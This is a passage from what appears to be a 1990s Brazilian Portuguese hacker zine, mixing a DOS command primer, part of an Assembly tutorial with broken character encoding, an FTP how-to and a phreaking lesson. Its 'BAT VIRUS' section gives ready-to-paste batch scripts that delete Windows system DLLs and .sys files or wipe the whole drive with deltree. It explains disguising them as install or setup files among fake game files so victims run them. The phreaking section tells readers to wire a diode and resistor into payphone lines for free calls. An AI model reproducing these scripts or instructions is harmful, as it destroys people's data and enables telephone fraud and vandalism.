tela. Usado logo apos o comando. ------ | more attrib --- seta os atributos de arqs. e dirs. - ----- attrib +a +s +h +r nome_arq.??? + - ativa - - desativa a - arquivo s - arquivo de sistema h - arquivo oculto r - arquivo somente de leitura ex. attrib +h psico.txt -- deixa o arq. psico.txt oculto. deltree --- apaga um dir. e tudo que tiver dentro. ------------- deltree /y nome_dir /y - apaga sem pedir comfirmacao. edit --- editor do DOS -------- edit edit nome_arq.txt prompt ---- e' o "c:\" do teu DOS. --- prompt $p$g$t$d $p = : $g = \ $t = mostra a hora $d = mostra a data echo ------- coloca mensagens em bath files -- echo qquer_bosta echo on echo off on - e' o padrao, ativa o prompt; off - desativa o prompt. help ------- lista os comandos, suas funcoes e sintaxes. /? ------- usado logo apos o nome do comando, da um help. bath files ou arquivos em lote E um script (conjunto de comandos) que quando executado, executa varios comandos de uma so vez. Sao os *.bat. Fazendo um bath file copy con nome_arq.bat comandos (cmd) cmd cmd cmd cmd ^z -- ctrl + "z" ex. copy con atalho.bat cd\ cd games cd rpg cd krondor krondor ^z O exemplo acima mostra um bath file simples que cria um atalho para o jogo Krondor, que ta no c:\games\rpg\krondor Pode-se tbem usar um editor qualquer e eliminar a 1. e a ultima linha. Salvando o arquivo em .bat !! BAT VIRUS Nao da pra dizer que sao virus, mas da pra sacanear bastande lamer !! Fazer arquivos maldozos e bem simples, basta fazer um bath file com varios comandos do tipo: del, move, deltree, rd, etc ... E nomea-los com nomes do tipo: install.bat, instala.bat, setup.bat, etc. O legal e' colocar esses arquivos num diretorio cheio de arquivos nada a ver, como: intro.voc, intro.pcx, war.win, great.top, e assim por diante, o lamer pensa que um jogo, roda o .bat e se fode todo !! exemplos de BAT VIRUS : escreva no edit. Se vc abriu o psico002.txt no edit, e' so' copiar e depois colar !! <> ---> nao va por isso no arquivo :) !! cd\ cd\windows\system attrib -a -s -h -r *.dll cls del *.dll cls cd\ attrib -a -s -h -r *.* cls del *.sys cls echo off echo ******************************************************************** echo * LL A MMM MMMM EEEEEEE RRRRRRRR * echo * LL AA AA MM M M MM EE RR RR * echo * LL AA AA MM M M MM EEEE RRRRRRRR * echo * LL AA A AA MM M M MM EE RR RR * echo * LLLLL AA AA MM M MM EEEEEEE RR RR * echo * * echo ******************************************************************** echo ******************************************************************** echo * LL A MMM MMMM EEEEEEE RRRRRRRR * echo * LL AA AA MM M M MM EE RR RR * echo * LL AA AA MM M M MM EEEE RRRRRRRR * echo * LL AA A AA MM M M MM EE RR RR * echo * LLLLL AA AA MM M MM EEEEEEE RR RR * echo * * echo ******************************************************************** echo ******************************************************************** echo * LL A MMM MMMM EEEEEEE RRRRRRRR * echo * LL AA AA MM M M MM EE RR RR * echo * LL AA AA MM M M MM EEEE RRRRRRRR * echo * LL AA A AA MM M M MM EE RR RR * echo * LLLLL AA AA MM M MM EEEEEEE RR RR * echo * * echo ******************************************************************** echo on prompt E U S O U U M L A M E R !!!! <><><><><><><> esse ai vai foder o windows do cara e vai dar pau quando ele resetar. Se vc nao quizer por a mensagem, pro lamer nem se ligar que foi vc que causou dano no seu PC, apague as linhas que tem "echo" e "prompt" !! <> cd\ deltree /y *.* <><><><><> esse ai apaga tudo que encontra pela frente, mas coloca uma msg na tela dizendo que ta apagando, se o PC dele for rapido, ate ele se ligar, ja fez um estrago. **************************************************************************** T U T O R I A L D E L I N G U A G E M A S S E M B L Y --------------- --- ----------------- --------------- Conte£do: 1.Introdu‡Æo 2.Conceitos B sicos 3.Programa‡Æo Assembly 4.Instru‡äes Assembly 5.Interrup‡äes e gerˆncia de arquivos 6.Macros e procedimentos 7.Exemplos de programas 8.Bibliografia ***************************************************************************** CAPÖTULO 1: INTRODU€ÇO Conte£do: 1.1.O que h de novo neste material 1.2.Apresenta‡Æo 1.3.Por que aprender Assembly? 1.4.N¢s precisamos da sua opiniÆo --------------- // --------------- 1.1.O que h de novo neste material: Ap¢s um ano da realiza‡Æo da primeira versÆo do tutorial, e atrav‚s das opiniäes recebidas por e-mail, resolvemos ter por disposi‡Æo todos estes coment rios e sugestäes. Esperamos que atrav‚s deste novo material Assembly, as pessoas que se mostrarem interessadas possam aprender mais sobre o seu IBM PC. Esta nova edi‡Æo do tutorial inclui: Uma se‡Æo completa sobre como usar o programa debug. Mais exemplos de programas. Um motor de pesquisa, para qualquer t¢pico ou item relacionado … esta nova versÆo. Consider vel reorganiza‡Æo e revisÆo do material Assembly. Em cada se‡Æo, h um link para o Dicion rio On-line de Computa‡Æo de Dennis Howe. 1.2.Apresenta‡Æo: Este tutorial destina-se …quelas pessoas que nunca tiveram contato com a Linguagem Assembly. O tutorial est completamente focado em computadores com processadores 80x86 da fam¡lia Intel, e considerando que a base da linguagem ‚ o funcionamento dos recursos internos do processador, os exemplos descritos nÆo sÆo compat¡veis com qualquer outra arquitetura. As informa‡äes estÆo dispostas em unidades ordenadas para permitir f cil acesso a cada t¢pico, bem como uma melhor navega‡Æo pelo tutorial. Na se‡Æo introdut¢ria sÆo mencionados alguns conceitos elementares sobre computadores e a Linguagem Assembly em si. 1.3.Por que aprender Assembly? A primeira razÆo para se trabalhar com o assembler ‚ a oportunidade de conhecer melhor o funcionamento do seu PC, o que permite o desenvolvimento de programas de forma mais consistente. A segunda razÆo ‚ que vocˆ pode ter um controle total sobre o PC ao fazer uso do assembler. Uma outra razÆo ‚ que programas assembly sÆo mais r pidos, menores e mais poderosos do que os criados com outras linguagens. Ultimamente, o assembler (montador) permite uma otimiza‡Æo ideal nos programas, seja no seu tamanho ou execu‡Æo. 1.4.N¢s precisamos da sua opiniÆo: Nosso intuito ‚ oferecer um modo simples para que vocˆ consiga aprender Assembly por si mesmo. Por tanto, qualquer coment rio ou sugestÆo ser bem-vinda. ***************************************************************************** CAPÖTULO 2: CONCEITOS BµSICOS Conte£do: 2.1.Descri‡Æo b sica de um sistema computacional. 2.2.Conceitos b sicos da Linguagem Assembly 2.3.Usando o programa debug --------------- // --------------- Esta se‡Æo tem o prop¢sito de fazer um breve coment rio a respeito dos principais componentes de um sistema computacional, o que ir permitir ao usu rio uma melhor compreensÆo dos conceitos propostos no decorrer do tutorial. 2.1.DESCRI€ÇO DE UM SISTEMA COMPUTACIONAL Conte£do: 2.1.1.Processador Central 2.1.2.Mem¢ria Principal 2.1.3.Unidades de Entrada e Sa¡da 2.1.4.Unidades de Mem¢ria Auxiliar Sistema Computacional. Chamamos de Sistema Computacional a completa configura‡Æo de um computador, incluindo os perif‚ricos e o sistema operacional. 2.1.1.Processador Central.  tamb‚m conhecido por CPU ou Unidade Central de Processamento, que por sua vez ‚ composta pela unidade de controle e unidade de l¢gica e aritm‚tica. Sua fun‡Æo consiste na leitura e escrita do conte£do das c‚lulas de mem¢ria, regular o tr fego de dados entre as c‚lulas de mem¢ria e registradores especiais, e decodificar e executar as instru‡äes de um programa. O processador tem uma s‚rie de c‚lulas de mem¢ria usadas com freqˆncia e, dessa forma, sÆo partes da CPU. Estas c‚lulas sÆo conhecidas com o nome de registradores. Um processador de um PC possui cerca de 14 registradores. Como os PCs tem sofrido evolu‡Æo veremos que podemos manipular registradores de 16 ou 32 bits. A unidade de l¢gica e aritm‚tica da CPU realiza as opera‡äes relacionadas ao c lculo simb¢lico e num‚rico. Tipicamente estas unidades apenas sÆo capazes de realizar opera‡äes elementares, tais como: adi‡Æo e subtra‡Æo de dois n£meros inteiros, multiplica‡Æo e divisÆo de n£mero inteiro, manuseio de bits de registradores e compara‡Æo do conte£do de dois registradores. Computadores pessoais podem ser classificados pelo que ‚ conhecido como tamanho da palavra, isto ‚, a quantidade de bits que o processador ‚ capaz de manusear de uma s¢ vez. 2.1.2.Mem¢ria Principal.  um grupo de c‚lulas, agora sendo fabricada com semi-condutores, usada para processamentos gerais, tais como a execu‡Æo de programas e o armazenamento de informa‡äes para opera‡äes. Cada uma das c‚lulas pode conter um valor num‚rico e ‚ capaz de ser endere‡ada, isto ‚, pode ser identificada de forma singular em rela‡Æo …s outras c‚lulas pelo uso de um n£mero ou endere‡o. O nome gen‚rico destas mem¢rias ‚ Random Access Memory ou RAM. A principal desvantagem deste tipo de mem¢ria ‚ o fato de que seus circuitos integrados perdem a informa‡Æo que armazenavam quando a energia el‚trica for interrompida, ou seja, ela ‚ vol til. Este foi o motivo que levou … cria‡Æo de um outro tipo de mem¢ria cuja informa‡Æo nÆo ‚ perdida quando o sistema ‚ desligado. Estas mem¢rias receberam o nome de Read Only Memory ou ROM. 2.1.3.Unidades de Entrada e Sa¡da. Para que o computador possa ser £til para n¢s se faz necess rio que o processador se comunique com o exterior atrav‚s de interfaces que permitem a entrada e a sa¡da de informa‡Æo entre ele e a mem¢ria. Atrav‚s do uso destas comunica‡äes ‚ poss¡vel introduzir informa‡Æo a ser processada e mais tarde visualizar os dados processados. Algumas das mais comuns unidades de entrada sÆo o teclado e o mouse. As mais comuns unidades de sa¡da sÆo a tela do monitor e a impressora. 2.1.4.Unidades de Mem¢ria Auxiliar. Considerando o alto custo da mem¢ria principal e tamb‚m o tamanho das aplica‡äes atualmente, vemos que ela ‚ muito limitada. Logo, surgiu a necessidade da cria‡Æo de dispositivos de armazenamento pr ticos e econ“micos. Estes e outros inconvenientes deram lugar …s unidades de mem¢ria auxiliar, perif‚ricos. As mais comuns sÆo as fitas e os discos magn‚ticos. A informa‡Æo ali armazenada ser dividida em arquivos. Um arquivo ‚ feito de um n£mero vari vel de registros, geralmente de tamanho fixo, podendo conter informa‡Æo ou programas. --------------- // --------------- /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ FTP Protocolo de transferencia de arquivos. E' o protocolo para tranferencia de arquivos mais usado, em um servidor de FTP vc encontra tudo que e' tipo de arquivo (e claro que as vezes pode demorar um pouco pra vc achar aquilo que vc quer). Acessando um servidor de FTP Para acessar um servidor de FTP, vc precisa de um programa especial, caso vc nao tenha saco pra baixar um, o windows tem, va ao prompt do DOS, e digite ftp, open nome_do_servidor, user nome_usuario e pass senha. exemplo. no prompt do DOS digite: (entra no ftp) ftp (nome do ftp server) open ftp.mandic.com.br (usuario) anonymous (password) ummail@qual.quer comandos: ls - parecido com o "dir" do DOS; cd x - entra no diretorio "x"; cd .. - retorna um diretorio; get y - puxa o arquivo "y"; ? = help - mostra os comandos. <><><><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>> INTRO AO PHREAK aula 02 Telefones Publicos Telefones publicos sao bem uteis no dia a dia, principalmente se vc nao paga as ligacoes que faz. Existem inumeras tecnicas para deixar seu cartao infinito, pena que a maioria e' tudo papo furado. Uma delas que eu testei e funcionou, foi a do grafite. Aumentando os creditos do cartao Arroche grafite no seu cartao. Pegue um lapis e risque a parte cinza dele, mas risque com bastante forca e bastante, isto faz com que os fusiveizinhos do cartao nao queimem, ou eles queimam mas a corrente continua passando, sei la. Isso funcionou diferente em varios orelhoes, uns aumentou bastente, uns bem pouco, outros nada, e teve orelhao que nem funcionou. Fazendo Ligacoes de Graca em Telefone Publico usando um DIODO O diodo e' um componente eletronico que basicamente permite que a corrente circule apenas em uma direcao dentro de um circuito. Pode ser encontrado facilmente em casa de componentes eletronicos. Materiais: um diodo IN4002, IN4004 ou IN4007; um resistor de 22K e potencia de 1W; um orelhao vitima; um estilete, faca ou outra coisa afiada pra descascar o fio; uma dose de paciencia; atencao para nao cair em cana. Ligue o diodo em paralelo com resistor, em seguida descasque os fios do telefone e ligue a combinacao resistor-diodo em cada extremidade do fio. esquema fio do telefone ---->|| | || | + || - | || |--> /----------/ \----------\ | diodo |fio do telefone |_____/---|||||---\______| + | \---|||||---/ | - | resistor | | | \----------\ /----------/ || + || - || fio do telefone || Se ficar mudo, e' so inverter a polaridade !!! As vezes e meio foda descascar o fio, pois alguns tem uma camada protetora, pra esses, use um gancho (use a imaginacao) pra alcancar a parte sem a protecao. Vide esquema. esquema Û <--- fio protegido Û I- Û -I I Û I----- tubo protetor I | I I |---I-------- fio desprotegido I | I I | I I | I Enfie o gancho pelo tubo ate encontrar o fio desprotegido !! Ligando de graca em orelhoes com telefone normal Consiga um telefone (quanto menor melhor), use o esquema acima pra descascar o fio do telefone (nao precisa colocar diodo nem resistor) pegue o telefone e faca a ligacao do fio do orelhao com ele. ...... ate o proximo !!! ()())(())(())(())(())(())(())(())(())(())(())(())(())(())(())(())(())(()( |-- /\//\||)|-|/\@yahoo.com ÿ |-- ESTA EDICAO VEIO SEM O GUITAR PLACE POIS ESTA SENDO PREPARADO UMA SECAO ESPECIAL PARA O PROXIMO NUMERO. AGUARDEM !!!!!!! QUALQUE DUVIDA, CRITICA OU SUGESTAO, E-MAILS SAO BEM VINDOS !! TODOS OS E-MAILS SERAO RESPONDIDOS! MANDE SEUS DADOS PARA QUE VC POSSA SER CADASTRADO E TER PRIVILEGIO AO RECEBER INFORMACOES !! -------->>>>>> naideia@yahoo.com <<<<<<<--------